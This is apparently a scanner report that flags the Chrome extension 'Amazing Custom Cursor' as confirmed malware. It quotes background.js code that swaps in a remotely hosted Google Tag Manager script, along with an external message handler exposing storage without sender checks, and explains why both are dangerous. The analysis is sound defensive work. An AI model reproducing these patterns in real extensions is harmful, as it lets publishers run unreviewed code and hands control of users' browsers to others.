Security Alert: Confirmed Malware
Amazing Custom Cursor
ID: cnmlhlejmndckempfickgoelmkjfpece
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- Julie JuradoView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Amazing Custom Cursor - change mouse cursor style from 100+ presets
Amazing Custom Cursor allows you to change cursor style to themed preset cursors or upload custom cursor. * Features * - Change cursor on any page to one of our 100+ presets 👉 - Several preset categories 🌞 - Upload a custom cursor ⚙️ * How to use * - Install the extension - Click on toolbar button - Select “Upload cursor” to add your own custom cursor Please note that due to security limitations cursor could not be changed on internal browser pages or in Chrome Webstore.
The background page dynamically replaces a local script element with a remotely hosted Google Tag Manager script. In a Manifest V2 extension, remote script execution in the extension context is a critical pattern because the publisher can change extension behavior after review and run code with the extension's privileges.
chrome.storage.sync.get(null, function(items) { this.config_sync = items; top.dl = [{ 'gtm.start': new Date() .getTime(), event: 'gtm.js' }]; const prev = document.body.children[0]; const next = document.createElement(prev.tagName) next.src = !!prev.datasrc || 'https://www.googletagmanager.com/gtm.js?id=GTM-5H7LFK9&l=dl'; prev.parentNode.replaceChild(next, prev);}.bind(this));This external message handler exposes full read/write access to both local and sync storage without validating `sender.id` or any trusted origin. That gives other extensions/apps a direct control channel to fingerprint the user, inspect extension state, and alter behavior across all sites where the content script runs.
if (request.action == 'get_config') { chrome.storage.local.get(null, function(items) { return sendResponse(items); }.bind(this));}if (request.action == 'set_config') { chrome.storage.local.set(request.data); return sendResponse({ status: true });}if (request.action == 'set_config_sync') { chrome.storage.sync.set(request.data); return sendResponse({ status: true });}if (request.action == 'get_config_sync') { return sendResponse(this.config_sync);}By severity
Versions scanned
Showing 2 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.2.1 | 2 |
| 1.2 | 3 |
Files with findings
1 distinct path — top paths by unique finding count:
- background.js5
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.